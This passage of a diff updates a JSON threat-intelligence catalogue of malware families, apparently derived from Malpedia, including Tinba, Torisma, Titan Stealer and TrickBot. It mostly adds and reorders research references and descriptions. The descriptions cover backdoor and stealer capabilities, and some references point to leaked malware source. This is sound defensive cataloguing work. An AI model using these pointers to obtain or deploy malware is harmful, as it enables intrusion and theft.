"https://www.krcert.or.kr/filedownload.do?attach_file_seq=3277&attach_file_id=EpF3277.pdf", + "https://asec.ahnlab.com/ko/56256/", "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", - "https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html" + "https://www.krcert.or.kr/filedownload.do?attach_file_seq=3277&attach_file_id=EpF3277.pdf", + "https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF", + "https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html", + "https://www.attackiq.com/2023/01/05/emulating-the-highly-sophisticated-north-korean-adversary-lazarus-group/", + "https://www.brighttalk.com/webcast/18282/493986", + "https://threatray.com/wp-content/uploads/2021/12/threatray-establishing-the-tigerrat-and-tigerdownloader-malware-families.pdf", + "https://asec.ahnlab.com/en/56405/" ], "synonyms": [], "type": [] @@ -47257,20 +49473,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba", - "http://stopmalvertising.com/malware-reports/mini-analysis-of-the-tinybanker-tinba.html", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_w32-tinba-tinybanker.pdf", + "https://adalogics.com/blog/the-state-of-advanced-code-injections", "https://www.zscaler.com/blogs/research/look-recent-tinba-banking-trojan-variant", - "http://www.theregister.co.uk/2012/06/04/small_banking_trojan/", - "https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/", - "http://garage4hackers.com/entry.php?b=3086", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://blogs.blackberry.com/en/2019/03/blackberry-cylance-vs-tinba-banking-trojan", - "http://contagiodump.blogspot.com/2012/06/amazon.html", "http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/", + "http://stopmalvertising.com/malware-reports/mini-analysis-of-the-tinybanker-tinba.html", + "http://garage4hackers.com/entry.php?b=3086", + "https://blogs.blackberry.com/en/2019/03/blackberry-cylance-vs-tinba-banking-trojan", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_w32-tinba-tinybanker.pdf", "https://securityintelligence.com/tinba-trojan-sets-its-sights-on-romania/", - "https://adalogics.com/blog/the-state-of-advanced-code-injections" + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "http://www.theregister.co.uk/2012/06/04/small_banking_trojan/", + "http://contagiodump.blogspot.com/2012/06/amazon.html", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf" ], "synonyms": [ "Illi", @@ -47282,13 +49498,26 @@ "uuid": "5eee35b6-bd21-4b67-b198-e9320fcf2c88", "value": "Tinba" }, + { + "description": "TinyFluff is a dropper developed by the OldGremlin group. In one of their March '22 campaigns, TinyFluff included a JavaScript RAT with a time-independent DGA.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyfluff", + "https://www.group-ib.com/blog/oldgremlin-comeback/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e044c397-8491-466b-adb7-2deead4d9eb6", + "value": "TinyFluff" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader", - "https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software", "https://www.forcepoint.com/sites/default/files/resources/files/report-tinypos-analysis-en.pdf", + "https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak" ], @@ -47303,17 +49532,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/", + "https://outpost24.com/blog/using-qiling-framework-to-unpack-ta505-packed-samples/", + "https://twitter.com/VK_Intel/status/1273292957429510150", + "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/", "https://github.com/SherifEldeeb/TinyMet", "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", - "https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/", - "https://twitter.com/VK_Intel/status/1273292957429510150", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", - "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/" + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672" ], "synonyms": [ "TiniMet" @@ -47329,16 +49559,16 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke", "https://asec.ahnlab.com/en/27346/", - "https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/", - "https://asec.ahnlab.com/en/32781/", - "https://krebsonsecurity.com/tag/nuclear-bot/", + "https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html", "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/", + "https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/", "https://www.bitsighttech.com/blog/break-out-of-the-tinynuke-botnet", - "https://forums.juniper.net/t5/Threat-Research/Nukebot-Banking-Trojan-targeting-people-in-France/ba-p/326702", - "https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/", + "https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/", + "https://krebsonsecurity.com/tag/nuclear-bot/", "https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/", - "https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html" + "https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/", + "https://asec.ahnlab.com/en/32781/", + "https://forums.juniper.net/t5/Threat-Research/Nukebot-Banking-Trojan-targeting-people-in-France/ba-p/326702" ], "synonyms": [ "MicroBankingTrojan", @@ -47370,8 +49600,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyzbot", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "https://know.netenrich.com/threatintel/threat_actor/Cutting%20Kitten", + "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy" ], "synonyms": [], @@ -47385,8 +49615,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiny_turla", - "https://blog.talosintelligence.com/2021/09/tinyturla.html", - "https://cybergeeks.tech/a-step-by-step-analysis-of-the-russian-apt-turla-backdoor-called-tinyturla/" + "https://cybergeeks.tech/a-step-by-step-analysis-of-the-russian-apt-turla-backdoor-called-tinyturla/", + "https://blog.talosintelligence.com/2021/09/tinyturla.html" ], "synonyms": [], "type": [] @@ -47407,12 +49637,14 @@ "value": "Tiop" }, { - "description": "Information stealer written in Go.", + "description": "The stealer is written in Go and capable of stealing a variety of information from infected Windows machines, including credential data from browsers and crypto wallets, FTP client details, screenshots, system information, and grabbed files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.titan_stealer", - "https://www.uptycs.com/blog/titan-stealer-telegram-malware-campaign", - "https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html" + "https://denshiyurei.medium.com/silent-echoes-the-hidden-dialogue-among-malware-entities-spotlight-on-amos-infostealer-6d7cd70e3219", + "https://github.com/D4NTESCODE/TitanStealerSource", + "https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html", + "https://www.uptycs.com/blog/titan-stealer-telegram-malware-campaign" ], "synonyms": [], "type": [] @@ -47425,17 +49657,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tmanger", - "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/", - "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", + "https://insight-jp.nttsecurity.com/post/102gi9b/pandas-new-arsenal-part-1-tmanger", + "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", "https://www.youtube.com/watch?v=1WfPlgtfWnQ", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", - "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/", "https://vblocalhost.com/uploads/VB2020-20.pdf", - "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", + "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", + "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/", "https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op", - "https://insight-jp.nttsecurity.com/post/102gi9b/pandas-new-arsenal-part-1-tmanger" + "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf" ], "synonyms": [ "LuckyBack" @@ -47450,25 +49682,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee", - "https://www.dragos.com/blog/investigating-the-watering-hole-linked-to-the-oldsmar-water-treatment-facility-breach/", - "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-1-binary-file-vaccine/", - "https://intel471.com/blog/privateloader-malware", - "https://www.virusbulletin.com/virusbulletin/2014/04/tofsee-botnet", - "https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-3-network-based-kill-switch/", - "https://gist.github.com/larsborn/0ec24d7b294248c51de0c3335802cbd4", "https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-2-inmemoryconfig-store-vaccine/", - "https://www.govcert.ch/blog/tofsee-spambot-features-.ch-dga-reversal-and-countermesaures/", - "https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/", - "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", - "https://www.cert.pl/en/news/single/tofsee-en/", - "https://blog.talosintelligence.com/tofsee-spam/", - "https://web.archive.org/web/20090428005953/http://www.marshal8e6.com/trace/i/Gheg,spambot.897~.asp", + "https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-3-network-based-kill-switch/", "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://www.bitsight.com/blog/tofsee-botnet-proxying-and-mining", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", + "https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/", + "https://www.virusbulletin.com/virusbulletin/2014/04/tofsee-botnet", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://gist.github.com/larsborn/0ec24d7b294248c51de0c3335802cbd4", + "https://intel471.com/blog/privateloader-malware", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", "https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/", - "https://www.bitsight.com/blog/tofsee-botnet-proxying-and-mining" + "https://www.cert.pl/en/news/single/tofsee-en/", + "https://www.govcert.ch/blog/tofsee-spambot-features-.ch-dga-reversal-and-countermesaures/", + "https://web.archive.org/web/20090428005953/http://www.marshal8e6.com/trace/i/Gheg,spambot.897~.asp", + "https://blog.talosintelligence.com/tofsee-spam/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", + "https://www.dragos.com/blog/investigating-the-watering-hole-linked-to-the-oldsmar-water-treatment-facility-breach/", + "https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-1-binary-file-vaccine/" ], "synonyms": [ "Gheg" @@ -47507,13 +49740,13 @@ "value": "tomiris" }, { - "description": "TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution.", + "description": "TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files \u2013 temp.txt and temp2.txt \u2013 within the same directory of its execution.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf", "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", - "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", - "https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/" + "https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/", + "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" ], "synonyms": [], "type": [] @@ -47526,7 +49759,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.toneshell", - "https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html" + "https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html", + "https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/" ], "synonyms": [], "type": [] @@ -47562,13 +49796,14 @@ "value": "Topinambour" }, { - "description": "", + "description": "Torisma is a complex HTTP(S) downloader, that can serve as an orchestrator handling the execution of additional payloads from the C&C server.\r\n\r\nIt uses VEST-32 for encryption and decryption of network traffic between the client and the server. \r\n\r\nTypically, it uses these parameter names for its HTTP POST requests: ACTION, CODE, CACHE, REQUEST, RES. It sends the victim's MAC address in the initial request.\r\n\r\nThe response of the server informing the client about a successful authentication is \"Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba}\". The client then requests additional data from the server, that decrypts to shellcode and its data parameters, and is executed. The client also creates a named pipe, \\\\.\\pipe\\fb4d1181bb09b484d058768598b, that allows inter-process communication with the executed shellcode. \r\n\r\nTorisma was usually downloaded by NedDnLoader, and deployed in the Operation DreamJob campaigns starting around Q4 2019.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma", - "http://blog.nsfocus.net/stumbzarus-apt-lazarus/", - "https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html", "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf", + "https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html", + "http://blog.nsfocus.net/stumbzarus-apt-lazarus/", + "https://www.telsy.com/lazarus-gate/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/" ], "synonyms": [], @@ -47593,12 +49828,26 @@ "uuid": "7f6cd579-b021-4896-80da-fcc07c35c8b2", "value": "TorrentLocker" }, + { + "description": "Downloader, delivered via a lure with fake exploits published on Github.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.tor_loader", + "https://vulncheck.com/blog/fake-repos-deliver-malicious-implant" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b6c84477-198f-42ea-808b-e20b23271cd0", + "value": "TorLoader" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.touchmove", - "https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970" + "https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970", + "https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/" ], "synonyms": [], "type": [] @@ -47624,8 +49873,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.toxiceye", - "https://blog.checkpoint.com/2021/04/22/turning-telegram-toxic-new-toxiceye-rat-is-the-latest-to-use-telegram-for-command-control/", - "https://www.bollyinside.com/articles/how-rat-malware-is-using-telegram-to-evade-detection/" + "https://www.bollyinside.com/articles/how-rat-malware-is-using-telegram-to-evade-detection/", + "https://blog.checkpoint.com/2021/04/22/turning-telegram-toxic-new-toxiceye-rat-is-the-latest-to-use-telegram-for-command-control/" ], "synonyms": [], "type": [] @@ -47651,11 +49900,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.trat", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.gdatasoftware.com/blog/trat-control-via-smartphone", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.proofpoint.com/us/threat-insight/post/trat-new-modular-rat-appears-multiple-email-campaigns", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.gdatasoftware.com/blog/trat-control-via-smartphone" + "https://www.proofpoint.com/us/threat-insight/post/trat-new-modular-rat-appears-multiple-email-campaigns" ], "synonyms": [], "type": [] @@ -47668,9 +49917,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter", + "http://adelmas.com/blog/treasurehunter.php", "https://www.flashpoint-intel.com/blog/treasurehunter-source-code-leaked/", - "https://www.fireeye.com/blog/threat-research/2016/03/treasurehunt_a_cust.html", - "http://adelmas.com/blog/treasurehunter.php" + "https://www.fireeye.com/blog/threat-research/2016/03/treasurehunt_a_cust.html" ], "synonyms": [ "huntpos" @@ -47685,284 +49934,287 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://hurricanelabs.com/splunk-tutorials/splunking-with-sysmon-part-4-detecting-trickbot/", - "https://home.treasury.gov/news/press-releases/jy1256", - "http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html", - "https://www.youtube.com/watch?v=KMcSAlS9zGE", - "https://www.botconf.eu/wp-content/uploads/2016/11/2016-LT09-TrickBot-Adams.pdf", - "https://labs.vipre.com/trickbots-tricks/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.zscaler.com/blogs/research/trickbot-emerges-few-new-tricks", - "https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html", - "https://us-cert.cisa.gov/ncas/alerts/aa21-076a", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/", - "https://community.riskiq.com/article/04ec92f4", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", - "https://www.gosecure.net/blog/2021/12/03/trickbot-leverages-zoom-work-from-home-interview-malspam-heavens-gate-and-spamhaus/", - "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://community.riskiq.com/article/111d6005/description", - "https://www.advintel.io/post/the-trickbot-saga-s-finale-has-aired-but-a-spinoff-is-already-in-the-works", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", - "https://unit42.paloaltonetworks.com/banking-trojan-techniques/", - "https://unit42.paloaltonetworks.com/ryuk-ransomware/", - "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", - "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", - "https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/", - "https://www.fortinet.com/blog/threat-research/global-malicious-spam-campaign-using-black-lives-matter-as-a-lure", - "https://www.youtube.com/watch?v=EdchPEHnohw", - "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", - "https://unit42.paloaltonetworks.com/trickbot-campaign-uses-fake-payroll-emails-to-conduct-phishing-attacks/", - "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", - "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", - "https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/", - "https://cofenselabs.com/all-you-need-is-text-second-wave/", - "https://www.secdata.com/the-trickbot-and-mikrotik/", - "https://www.flashpoint-intel.com/blog/trickbot-account-checking-hybrid-attack-model/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module", - "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", - "https://therecord.media/trickbot-gang-shuts-down-botnet-after-months-of-inactivity/", - "https://www.microsoft.com/security/blog/2020/10/12/trickbot-disrupted/", - "https://www.hhs.gov/sites/default/files/bazarloader.pdf", - "https://www.microsoft.com/security/blog/2022/03/16/uncovering-trickbots-use-of-iot-devices-in-command-and-control-infrastructure/", - "https://krebsonsecurity.com/2020/10/attacks-aimed-at-disrupting-the-trickbot-botnet/", - "https://www.secureworks.com/research/threat-profiles/gold-swathmore", - "https://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/", - "https://www.wired.com/story/trickbot-malware-group-internal-messages/", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://inquest.net/blog/2019/08/26/TrickBot-Memory-Analysis", - "https://www.bleepingcomputer.com/news/security/trickbot-now-steals-windows-active-directory-credentials/", - "https://www.fortinet.com/blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", - "https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://escinsecurity.blogspot.de/2018/01/weekly-trickbot-analysis-end-of-wc-22.html", - "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", - "https://www.blueliv.com/research/trickbot-banking-trojan-using-eflags-as-an-anti-hook-technique/", - "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", - "https://www.secureworks.com/research/threat-profiles/gold-ulrick", - "https://threatresearch.ext.hp.com/detecting-a-stealthy-trickbot-campaign/", - "https://arcticwolf.com/resources/blog/karakurt-web", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - "https://osint.fans/service-nsw-russia-association", - "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "http://www.peppermalware.com/2019/03/quick-analysis-of-trickbot-sample-with.html", - "https://securelist.com/trickbot-module-descriptions/104603/", - "https://medium.com/@vishal_29486/trickbot-a-concise-treatise-d7e4cc97f737", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", - "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware", - "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", - "https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/", - "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", - "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", - "https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/", - "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/", - "https://labs.bitdefender.com/2020/11/trickbot-is-dead-long-live-trickbot/", - "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", - "http://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot", - "https://www.bleepingcomputer.com/news/security/lightbot-trickbot-s-new-reconnaissance-malware-for-high-value-targets/", - "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", - "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", - "https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.cert.pl/en/news/single/detricking-trickbot-loader/", - "https://www.secureworks.com/blog/trickbot-modifications-target-us-mobile-users", - "https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://labs.sentinelone.com/building-a-custom-malware-analysis-lab-environment/", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", - "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre", - "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-reversing-the-dropper-variant/", - "https://www.splunk.com/en_us/blog/security/detecting-trickbots.html", - "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "http://www.malware-traffic-analysis.net/2018/02/01/", - "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", - "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", - 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"https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", + "https://labs.sentinelone.com/building-a-custom-malware-analysis-lab-environment/", + 